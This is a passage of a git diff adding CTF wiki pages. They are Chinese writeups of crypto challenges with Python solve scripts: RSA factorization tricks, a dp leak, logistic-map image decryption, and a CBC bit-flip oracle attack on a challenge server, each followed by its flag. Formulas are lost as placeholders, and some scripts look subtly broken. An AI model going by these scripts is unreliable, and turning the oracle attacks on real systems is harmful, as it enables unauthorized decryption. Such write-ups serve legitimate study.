+    conn.sendlineafter('Give me m1.', '52051')
+    conn.recvuntil('This is a ciphertext.\n')
+    c = conn.recvline()
+    c = int(c)
+
+    mm = 2
+    c2 = enc(n, g, mm)
+    cc = (c * c2) % (n ** 2)
+    conn.sendlineafter('Please give me one decimal ciphertext', str(cc))
+    conn.recvuntil('This is the corresponding plaintext.\n')
+    m2 = conn.recvline()
+    m2 = int(m2)
+    if (m2 in m2ans):
+        print('Find')
+        conn.sendlineafter('m1 -> c1)?', str(m2ans[m2]))
+    else:
+        print('Guess')
+        conn.sendlineafter('m1 -> c1)?', '0')
+    s = conn.recvuntil('!')
+    if (b'Sorry') in s:
+        print(f'GG {i}')
+        conn.close()
+        break
+
+conn.interactive()
+
+

Flag

+
flag{e87fdfb6-8007-4e1c-861f-5bde3c8badb3}
+
+

Reference

+

Writeup from https://zhuanlan.zhihu.com/p/402690414

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Cryptography/MedicalImage/index.html b/Writeup/Cryptography/MedicalImage/index.html new file mode 100644 index 000000000..14097e1e4 --- /dev/null +++ b/Writeup/Cryptography/MedicalImage/index.html @@ -0,0 +1,8160 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + MedicalImage - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

MedicalImage

+

Category: Cryptography

+

Source: 巅峰极客赛 2021

+

Author: unknown

+

Score: 25

+

Solution

+

一个图片加密脚本, 函数f(x)被隐藏了, 但给了提示, 是logistic map, (在b站看下视频, 数学真的好神奇啊).而且参数rr是最大合法值, 也就是44, 那么函数f(x)

+

f(x)=4x(1−x)f(x)=4x(1−x)

+

然后就是对着加密流程写解密了…. 没有啥特别的 逆着加密过程写解密就行, p0,c0就那几个值爆破就行, 一开始随便拿101,201试了下…直接对了

+
from decimal import *
+from PIL import Image
+import numpy as np
+from time import time
+getcontext().prec = 20
+
+
+R = Decimal(4)
+r1 = Decimal('0.478706063089473894123')
+r2 = Decimal('0.613494245341234672318')
+r3 = Decimal('0.946365754637812381837')
+const = 10 ** 14
+im = Image.open(
+    r'flag_enc.bmp'
+)
+size = im.size
+w,h = size
+im = np.array(im)
+
+
+
+def f(x):
+    return Decimal(4 * x * (1 - x))
+
+for i in range(200):
+    r1 = f(r1)
+    r2 = f(r2)
+    r3 = f(r3)
+
+S = time()
+p0 = 101
+c0 = 201
+for x in range(w):
+    for y in range(h):
+        k = int(round(const*r3))%256
+        k = bin(k)[2:].ljust(8,'0')
+        k = int(k[p0%8:]+k[:p0%8],2)
+        r3 = f(r3)
+        m0 = ((k ^ im[y,x] ^ c0 ) - k) % 256
+        c0 = im[y,x]
+        p0 = m0
+        im[y,x] = m0
+arr = []
+for x in range(w):
+    for y in range(h):
+        x1 = int(round(const*r1))%w
+        y1 = int(round(const*r2))%h
+        arr += [(x,y,x1,y1)]
+        r1 = f(r1)
+        r2 = f(r2)
+for z in arr[::-1]:
+    x,y,x1,y1 = z
+    tmp = im[y,x]
+    im[y,x] = im[y1,x1]
+    im[y1,x1] = tmp  
+m = Image.new('P', size,'white')
+pixels = m.load()
+for i in range(m.size[0]):
+    for j in range(m.size[1]):
+        pixels[i,j] = (int(im[j][i]))
+m.save(r'flag.bmp')
+print(time()-S)
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Cryptography/RSAssss/index.html b/Writeup/Cryptography/RSAssss/index.html new file mode 100644 index 000000000..2ff95c1f7 --- /dev/null +++ b/Writeup/Cryptography/RSAssss/index.html @@ -0,0 +1,8222 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + RSAssss - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

RSAssss

+

Category: Cryptography

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 25

+

Description

+

more factors,more strong

+

Solution

+
from Crypto.Util.number import *
+from gmpy2 import next_prime
+
+
+p = getPrime(512)
+q = getPrime(512)
+
+
+n = p * q * next_prime(p) * next_prime(q)
+e = 0x10001
+
+
+flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
+cipher = pow(bytes_to_long(flag), e, n)
+
+
+print(n, cipher)
+
+
+#8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257
+#330412463971933434999766363211057930667393277770584064857577467142742413428768098831412931259336108760624381952829861013179707826235130739683198539755539064015139113863343195174674815661046358247964556177919498180612989800987651789945084087556967597676515560844679920369992744883500475670715128104485967669553337375579827389250319475394899794765310069084188092544505917549431419860547502393956775040990721765429143061510225852399839423143679690263507799582947734731675473993898081429330428931841744349301970407316458550521765857021498915017512375703812538099605076157202198657393415547064109167866445108006571926
+
+

四素数的RSA攻击,曾经考过,直接上脚本

+
# -*- coding: utf-8 -*-
+
+
+from Crypto.Util.number import GCD, inverse, long_to_bytes
+import gmpy2
+n = 8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846892146553555609301914884176422322286739546193682236355823149096731058044933046552926707682168435727800175783373045726692093694148718521610590523718813096895883533245331244650675812406540694948121258394822022998773233400623162137949381772195351339548977422564546054188918542382088471666795842185019002025083543162991739309935972705871943787733784491735500905013651061284020447578230135075211268405413254368439549259917312445348808412659422810647972872286215701325216318641985498202349281374905892279894612835009186944143298761257 
+c = 3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129312593361087606243819528298610131797078262351307396831985397555390640151391138633431951746748156610463582479645561779194981806129898009876517899450840875569675976765155608446799203699927448835004756707151281044859676695533373755798273892503194753948997947653100690841880925445059175494314198605475023939567750409907217654291430615102258523998394231436796902635077995829477347316754739938980814293304289318417443493019704073164585505217658570214989150175123757038125380996050761572021986573934155470641091678664451080065719261207
+e = 0x10001
+def fermat_factorization(N):
+    Factor = []
+    gmpy2.get_context().precision = 2048
+    a = int(gmpy2.sqrt(N))
+    a2 = a * a
+    b2 = gmpy2.sub(a2, N)
+    while True:
+        a += 1
+        b2 = a * a - N
+        if gmpy2.is_square(b2):
+            b2 = gmpy2.mpz(b2)
+            gmpy2.get_context().precision = 2048
+            b = int(gmpy2.sqrt(b2))
+            Factor.append([a + b, a - b])
+        if len(Factor) == 2:
+            break
+    return Factor
+
+
+if __name__ == "__main__":
+    factor = fermat_factorization(n)
+    [X1, Y1] = factor[0]
+    [X2, Y2] = factor[1]
+    assert X1 * Y1 == n
+    assert X2 * Y2 == n
+    p1 = gmpy2.mpz(GCD(X1, X2))
+    p2 = gmpy2.mpz(X1 / p1)
+    q1 = gmpy2.mpz(GCD(Y1, Y2))
+    q2 = gmpy2.mpz(Y1 / q1)
+    assert p1 * p2 * q1 * q2 == n
+    phi = gmpy2.mpz(0)
+    phi = (p1 - 1) * (q1 - 1) * (p2 - 1) * (q2 - 1)
+    d = inverse(e, phi)
+    flag = long_to_bytes(pow(c, d, n))
+    print(flag)
+
+

图片

+

Flag

+

flag{2bef1a3e-5598-404e-b022-f593a230ce58}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Cryptography/Random_RSA/index.html b/Writeup/Cryptography/Random_RSA/index.html new file mode 100644 index 000000000..f85aae4b6 --- /dev/null +++ b/Writeup/Cryptography/Random_RSA/index.html @@ -0,0 +1,8219 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Random_RSA - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Random_RSA

+

Category: Cryptography

+

Source: 祥云杯2021

+

Author: unknown

+

Score: 10

+

Description

+

一把梭,好像不行哦。

+

Random_RSA.zip

+

题目描述

+

题目基于RSA,[公式]。题目给出flag加密的密文[公式]

+

题目给出了关于[公式]的提示:题目给了随机种子列表。对于每个随机种子,题目会基于这个随机种子生成一个随机数列表,每次都从列表里面指定位置抠掉一个数,并且给出其他数组成的列表;用被抠掉那个数作为流密钥,与[公式]的十进制表示字符串对应字节进行异或,得到一个密文。

+

我的解答

+

首先我们先尝试搞出[公式]:我们通过设随机种子,得到列表。发现只有python 2生成的列表才能对得上,所以我们需要用python 2跑程序,并生成正确的流密钥。然后就是异或得到[公式]

+

之后就是根据[公式]枚举[公式],尝试[公式]是否不为1。若是的话,那这个值就是[公式]。进而得到[公式]的分解并对flag的密文进行解密。得到[公式]的代码如下:

+
import random
+c2 = '[[58, 53, 122] [145, 124, 244] [5, 19, 192] [255, 23, 64] [57, 113, 194] [246, 205, 162] [112, 87, 95] [215, 147, 105] [16, 131, 38] [234, 36, 46] [68, 61, 146] [148, 61, 9] [139, 77, 32] [96, 56, 160] [121, 76, 17] [114, 246, 92] [178, 206, 60] [168, 147, 26] [168, 41, 68] [24, 93, 84] [175, 43, 88] [147, 97, 153] [42, 94, 45] [150, 103, 127] [68, 163, 62] [165, 37, 89] [219, 248, 59] [241, 182, 8] [140, 211, 146] [88, 226, 2] [48, 150, 56] [87, 109, 255] [227, 216, 65] [23, 190, 10] [5, 25, 64] [6, 12, 124] [53, 113, 124] [255, 192, 158] [61, 239, 5] [62, 108, 86] [123, 44, 64] [195, 192, 30] [30, 82, 95] [56, 178, 165] [68, 77, 239] [106, 247, 226] [17, 46, 114] [91, 71, 156] [157, 43, 182] [146, 6, 42] [148, 143, 161] [108, 33, 139] [139, 169, 157] [71, 140, 25] [28, 153, 26] [241, 221, 235] [28, 131, 141] [159, 111, 184] [47, 206, 11] [220, 152, 157] [41, 213, 97] [4, 220, 10] [77, 13, 248] [94, 140, 110] [25, 250, 226] [218, 102, 109] [189, 238, 66] [91, 18, 131] [23, 239, 190] [159, 33, 72] [183, 78, 208] [209, 213, 101] [111, 50, 220] [166, 104, 233] [170, 144, 10] [187, 87, 175] [195, 59, 104] [165, 179, 179] [99, 247, 153] [195, 61, 100] [223, 159, 165] [230, 93, 184] [87, 28, 35] [35, 122, 38] [158, 188, 163] [229, 192, 222] [12, 12, 192] [207, 95, 224] [127, 113, 137] [22, 114, 143] [13, 45, 144] [70, 140, 211] [57, 101, 42] [132, 62, 129] [40, 128, 124] [1, 132, 161] [164, 33, 133] [252, 201, 32] [8, 18, 247] [1, 88, 55] [201, 135, 186] [101, 254, 125] [236, 196, 39] [148, 24, 103] [101, 29, 253] [97, 156, 64] [90, 103, 91] [50, 48, 80] [206, 22, 93] [11, 114, 174] [61, 132, 247] [215, 32, 232] [95, 128, 90] [57, 35, 228] [163, 143, 107] [178, 250, 28] [64, 107, 225] [106, 115, 207] [85, 134, 21] [118, 201, 76] [234, 34, 22] [241, 236, 122] [111, 185, 127] [1, 26, 164] [254, 57, 117] [243, 27, 32] [161, 88, 80] [50, 165, 93] [87, 182, 216] [184, 159, 63] [167, 166, 123] [37, 78, 33] [186, 81, 58] [48, 3, 239] [70, 186, 13] [56, 108, 178] [54, 55, 235] [105, 180, 105] [16, 194, 98] [136, 11, 41] [18, 203, 79] [185, 114, 170] [148, 181, 223] [118, 57, 160] [23, 250, 181] [235, 219, 228] [44, 151, 38] [185, 224, 134] [42, 162, 122] [3, 9, 158] [129, 245, 2] [66, 241, 92] [80, 124, 36]]'
+res2 = [55, 5, 183, 192, 103, 32, 211, 116, 102, 120, 118, 54, 120, 145, 185, 254, 77, 144, 70, 54, 193, 73, 64, 0, 79, 244, 190, 23, 215, 187, 53, 176, 27, 138, 42, 89, 158, 254, 159, 133, 78, 11, 155, 163, 145, 248, 14, 179, 23, 226, 220, 201, 5, 71, 241, 195, 75, 191, 237, 108, 141, 141, 185, 76, 7, 113, 191, 48, 135, 139, 100, 83, 212, 242, 21, 143, 255, 164, 146, 119, 173, 255, 140, 193, 173, 2, 224, 205, 68, 10, 77, 180, 24, 23, 196, 205, 108, 28, 243, 80, 140, 4, 98, 76, 217, 70, 208, 202, 78, 177, 124, 10, 168, 165, 223, 105, 157, 152, 48, 152, 51, 133, 190, 202, 136, 204, 44, 33, 58, 4, 196, 219, 71, 150, 68, 162, 175, 218, 173, 19, 201, 100, 100, 85, 201, 24, 59, 186, 46, 130, 147, 219, 22, 81]
+seeds2 = [4827, 9522, 552, 880, 7467, 7742, 9425, 4803, 6146, 4366, 1126, 4707, 1138, 2367, 1081, 5577, 4592, 5897, 4565, 2012, 2700, 1331, 9638, 7741, 50, 824, 8321, 7411, 6145, 1271, 7637, 5481, 8474, 2085, 2421, 590, 7733, 9427, 3278, 5361, 1284, 2280, 7001, 8573, 5494, 7431, 2765, 827, 102, 1419, 6528, 735, 5653, 109, 4158, 5877, 5975, 1527, 3027, 9776, 5263, 5211, 1293, 5976, 7759, 3268, 1893, 6546, 4684, 419, 8334, 7621, 1649, 6840, 2975, 8605, 5714, 2709, 1109, 358, 2858, 6868, 2442, 8431, 8316, 5446, 9356, 2817, 2941, 3177, 7388, 4149, 4634, 4316, 5377, 4327, 1774, 6613, 5728, 1751, 8478, 3132, 4680, 3308, 9769, 8341, 1627, 3501, 1046, 2609, 7190, 5706, 3627, 8867, 2458, 607, 642, 5436, 6355, 6326, 1481, 9887, 205, 5511, 537, 8576, 6376, 3619, 6609, 8473, 2139, 3889, 1309, 9878, 2182, 8572, 9275, 5235, 6989, 6592, 4618, 7883, 5702, 3999, 925, 2419, 7838, 3073, 488, 21, 3280, 9915, 3672, 579]
+
+c2 = eval(c2.replace('] [', '], ['))
+myc = []
+for i in range(0, len(seeds2)):
+    random.seed(seeds2[i])
+    rands = []
+    for j in range(0,4):
+        rands.append(random.randint(0,255))
+    myc.append(rands[i % 4])
+
+dp = [x ^ y for x, y in zip(myc, res2)]
+dp = int(bytearray(dp))
+
+print(dp)
+
+

得到[公式]的分解进而解密[公式]的代码如下:

+
from Crypto.Util.number import *
+
+n=81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353244981467900057157997462760732019372185955846507977456657760125682125104309241802108853618468491463326268016450119817181368743376919334016359137566652069490881871670703767378496685419790016705210391
+ct=61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850789493701589309453566095881294166336673487909221860641809622524813959284722285069755310890972255545436989082654705098907006694780949725756312169019688455553997031840488852954588581160550377081811151
+
+dp = 5372007426161196154405640504110736659190183194052966723076041266610893158678092845450232508793279585163304918807656946147575280063208168816457346755227057
+
+e=0x10001
+
+for k in range(1, 100000):
+    p = (e * dp - 1) // k + 1
+    if (n % p == 0):
+        break
+
+q = n // p
+d = inverse(e, (p-1)*(q-1))
+
+m = pow(ct, d, n)
+print(long_to_bytes(m))
+
+

Flag

+
flag{74281db3-c6f0-e59a-4da6-39b8c71250fe}
+
+

Reference

+

Writeup from https://zhuanlan.zhihu.com/p/402690414

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Cryptography/blowfishgame/index.html b/Writeup/Cryptography/blowfishgame/index.html new file mode 100644 index 000000000..b924a37e1 --- /dev/null +++ b/Writeup/Cryptography/blowfishgame/index.html @@ -0,0 +1,8225 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + blowfishgame - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

blowfishgame

+

Category: Cryptography

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 35

+

Description

+

Solution

+

CBC 翻转攻击使 message 前 8 字节为 get_flag,然后就是简单的逐字节爆破,我全都防出去了,防出去了啊。

+
# -*- coding: utf-8 -*-
+# @Project: Hello Python!
+# @File   : exp
+# @Author : Nonuplebroken <birkenwald.cn>
+# @Date   : 2020-11-22
+from pwn import *
+import string
+import itertools
+from hashlib import sha384
+import re
+import base64
+
+
+
+def PoW(part, hash_value):
+    alphabet = string.ascii_letters + string.digits
+    for x in itertools.product(alphabet, repeat=3):
+        nonce = ''.join(x)
+        if sha384(nonce + part).hexdigest() == hash_value:
+            return nonce
+
+
+def xor(a, b):
+    assert len(a) == len(b)
+    return ''.join([chr(ord(a[i])^ord(b[i])) for i in range(len(a))])
+
+
+sh = remote('8.131.69.237', 15846)
+
+s1 = sh.recvuntil('Give me XXX:')
+re_res = re.search(r'sha384\(XXX\+([a-zA-Z0-9]{17})\) == ([0-9a-f]{96})', s1)
+part = re_res.group(1)
+hash_value = re_res.group(2)
+print 'part:', part
+print 'hash_value:', hash_value
+nonce = PoW(part, hash_value)
+print 'nonce:', nonce
+sh.sendline(nonce)
+
+_ = [sh.recvline() for i in range(8)]
+
+s1 = sh.recvline()
+s1 = base64.b64decode(s1)
+iv, c = s1[:8], s1[8:]
+print len(iv)
+print len(c)
+d_c1 = xor('Blowfish', iv)
+new_iv = xor(d_c1, 'get_flag')
+get_flag = base64.b64encode(new_iv + c)
+print get_flag
+
+flag = ''
+alphabet = 'flag{}-0123456789abcdef'
+# alphabet = string.printable
+for i in range(42):
+    sh.sendline(get_flag)
+    target_m = ('x' * (47 - i))
+    sh.sendline(target_m)
+    target_c = base64.b64decode(sh.recvline())
+    for x in alphabet:
+        sh.sendline(get_flag)
+        test_m = ('x' * (47 - i)) + flag + x
+        sh.sendline(test_m)
+        test_c = base64.b64decode(sh.recvline())
+        if test_c[:48] == target_c[:48]:
+            flag += x
+            print '[%02d/42] %s' % (i+1, flag)
+            break
+sh.interactive()
+
+

图片

+

Flag

+

flag{ba524422-7769-4d00-bd4d-6d6946c173ce}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Cryptography/more_calc/index.html b/Writeup/Cryptography/more_calc/index.html new file mode 100644 index 000000000..59e475a2a --- /dev/null +++ b/Writeup/Cryptography/more_calc/index.html @@ -0,0 +1,8194 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + more_calc - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

more_calc

+

Category: Cryptography

+

Source: 祥云杯2020

+

Author: unknown

+

Score: 25

+

Description

+

maybe u need more cpu

+

Solution

+
import gmpy2
+from Crypto.Util.number import *
+
+
+flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
+
+
+p = getStrongPrime(2048)
+for i in range(1, (p+1)//2):
+    s += pow(i, p-2, p)
+s = s % p
+q = gmpy2.next_prime(s)
+n = p*q
+e = 0x10001
+c = pow(bytes_to_long(flag), e, n)
+print(p)
+print(c)
+#27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
+#35055918683748883282174784323651813560520737603185800227424500428762264933021511381871995418539707283801414497303232960090541986190867832897131815320508500774326925395739528242032566313216102210036548100374594081897428098804503420454038574457280610255242042832626554192534670284369336699175346822030007088865173250252079700270724860427575514471342164997149244044205247072315311115645755855836214700200464613652201134426101746190195358346246762242881016710707928119020973125199597600335220176686188732073999025860155060600538887296782517962617671450347555788381054344555539001456268680189452831160062315698482986474322296387716709989292671747978922668181058489406663507675599642320338049377613048817085979874567772781052867215035033348050642450667612710852648837001109914769887507004392552421783737965416800917979813137835262317794775319294801257483177741372991005066875900770459644762548438474388076655842822437141772648037236281057239552272508379892613346840960049192531743799845858272389712078645821963027561694961956409973354276629777068204456160534409039477757097372521171307620184694243888389707840806777932547158990704118642378158004690358831695861544319681913385236756504946707671037639508589887549565323717819837942112908652
+
+

想求q,得先求s,又因为s是 pow(i, p-2, p) 的累和( i 从1到 (p+1)//2 ),可以费马小定理求p 和 (p+1)//2 -1 求逆元

+
# -*- coding: utf-8 -*-
+# @Project: Hello Python!
+# @File   : exp
+# @Author : Tr0jAn <Tr0jAn@birkenwald.cn>
+# @Date   : 2020-11-22
+import gmpy2
+from Crypto.Util.number import long_to_bytes
+p = 27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
+s = gmpy2.invert(p, (p+1)//2-1)
+s = s % p
+q = gmpy2.next_prime(s)
+e = 0x10001
+phi = (p - 1) * (q - 1)
+d = gmpy2.invert(e, phi)
+n = p*q
+c = 350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523
+m = pow(c, d, n)
+print(long_to_bytes(m))
+
+

Flag

+

flag{3d7f8da9-ee79-43c0-8535-6af524236ca1}

+

Reference

+

Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Cryptography/myRSA/index.html b/Writeup/Cryptography/myRSA/index.html new file mode 100644 index 000000000..6e37a4cdc --- /dev/null +++ b/Writeup/Cryptography/myRSA/index.html @@ -0,0 +1,8226 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + myRSA - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

myRSA

+

Category: Cryptography

+

Source: 祥云杯2021

+

Author: unknown

+

Score: 15

+

Description

+

我的第一次密码学导论作业, 参数的生成大家觉得怎样呢?nc 0.cloud.chals.io 33723

+

myRSA.zip

+

题目描述

+

这题oracle等很久才能生成数(影响了我抢一血的速度)需要耐心等待。

+

题目基于RSA,[公式]为1024位数,[公式],加密过程为

+

[公式]

+

[公式]

+

[公式]

+

[公式]大概为1024位数

+

[公式]

+

题目给出[公式]和flag的密文[公式]。并且我们可以输入明文[公式]得到对应的密文[公式]

+

我的解答

+

注意到

+

[公式]

+

也就是

+

[公式]

+

然后[公式]可以看成是[公式][公式]的带余除法。我们可以利用第一步的[公式]对应的[公式](此时我们可以自己计算出[公式]来)可以直接得到[公式]的值。然后对[公式]开三次方可以开出[公式]来。

+

然后就可以结合[公式],用z3-solver解出[公式][公式]

+

之后就可以计算出[公式][公式]的值,并且利用[公式]除以[公式]得到RSA的密文[公式],然后解RSA即可。

+

过掉oracle的proof of work检测,然后等几分钟,拿到[公式][公式],然后随便输入一个1得到密文[公式]。将得到的值输入代码:

+
import gmpy2
+from z3 import *
+from Crypto.Util.number import *
+
+n = 121642065448176156473897179092419728921875357974980389083860655277565704825649889226444419608980002630759091596085557548487575346914669740739314941122290996740304245650872046561895900796258456608793055028467475091633433839705791878132565383650206725088639081180463351423103722622744738467167869749662990688979
+
+cc = 1136361046033913612036332714569670427841256258685140344055068620567475033294018028371032984703266206522526501010193123738345243273176762739282234315795608086725508770575402683003031958708516685141549840548134463272675351840929630389108825535204457117771682170437521557495770971608166831028637021920921360209937746104425491678161944802864369442195541546254091075147348470471884402144293370533562623258123204821582501280968271504384904817447094261612944693686431804933040510678517012219972815762511119200409624840705484711608894758448331870766284821627574717762202817452703132562199236232290523206855898302762507824719214766649522917767889370878378892167034276829407953963424463895887129146755081368470643425950316309913064297742492397168974520285387936917948771030039018332
+
+cf = 295318431540053515087200928667285571195873544800963850029171139457738083432353682348226869156528183688490148373759627896871330766900837785451589779523111914618842905371837548861785389600883467087532763343406914524095383977741052854917948885361134719361023858033122670278053750085303927034983764865067526075420830992291379676788114928196956733017730193604813935484846679831060231258082875209851746699146625709301590969332851864108352895567376700175971571387738401144667542370193792481515722502753499780996972280714436836825211823165098486303895898784162737206171512239610585374041011016685047322413395385902117183922652085520924218305511771316307760747269759565922379004659918873467812356832776152950611990185909516951703495925411981576965707961331962771430522666692227338
+
+m = 49
+e = 0x10001
+c = pow(m, e, n)
+cc = cc // c
+my = cc - 4 * n
+
+my1, ok = gmpy2.iroot(my, 3)
+
+p, q = Ints('p q')
+sol = Solver()
+ppq = int(ppq)
+sol.add(p + q == ppq)
+sol.add(p * q == n)
+if (sol.check() == sat):
+    m = sol.model()
+    p = m[p].as_long()
+    q = m[q].as_long()
+    x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1) 
+    y = 2*p*q + p + q
+    cf = cf // (x + y)
+    mf = pow(cf, inverse(e, (p-1)*(q-1)), n)
+    print(long_to_bytes(mf))
+else:
+    print('GG simida')
+
+

Flag

+
flag{ed649951-9ce9-46e0-a42b-d0ba588e43e1}
+
+

Reference

+

Writeup from https://zhuanlan.zhihu.com/p/402690414

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Writeup/Cryptography/secret share/index.html b/Writeup/Cryptography/secret share/index.html new file mode 100644 index 000000000..d7fece046 --- /dev/null +++ b/Writeup/Cryptography/secret share/index.html @@ -0,0 +1,8312 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + secret_share - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

secret_share

+

Category: Cryptography

+

Source: 祥云杯2021

+

Author: unknown

+

Score: 35

+

Description

+

Here is running a secret sharing system. But if the server colludes with some clever users, the whole system will not be safe any more.nc 0.cloud.chals.io 19892

+

secret_share.zip

+

题目描述

+

测试了一下,发现要用python 2运行服务端代码。

+

题目基于离散对数,也就是[公式],生成元[公式]和模素数[公式]在代码中给出。

+

题目的加密如下:产生随机的[公式],计算

+

[公式]

+

[公式]

+

[公式]

+

产生的密文为[公式]

+

并且题目还有一个二次加密:

+

[公式]

+

[公式]

+

产生的密文为[公式]

+

一开始oracle给出一对[公式],但是我们对flag加密所用的为[公式]。我们能知道flag对应密文[公式]。可以得到更多提示,但是我们需要过如下挑战:

+

oracle每次生成一个200位的[公式],然后进行一个rk_gen

+

rk_gen是一个多项式生成,一开始生成一个[公式],记[公式][公式][公式]

+

这里会给出一个[公式]的值让我们知道。

+

encoder观察得:

+

一开始是[公式]

+

第一回就变成了[公式]

+

第二回就变成了[公式]

+

观察与归纳发现之后也满足这样的形式。

+

由韦达定理,上面的也就可以看成是多项式[公式]的展开式之系数。

+

并且实际给我们的时候,我们知道的是

+

[公式]

+

然后

+

[公式]

+

[公式]

+

并且把[公式][公式]加密后,再利用这里算出来的[公式]进行二次加密之后的结果[公式]告诉我们。需要我们给出[公式]的值。

+

如果4次挑战成功,那么oracle提示我们这4次所产生[公式]的值之积。

+

我的解答

+

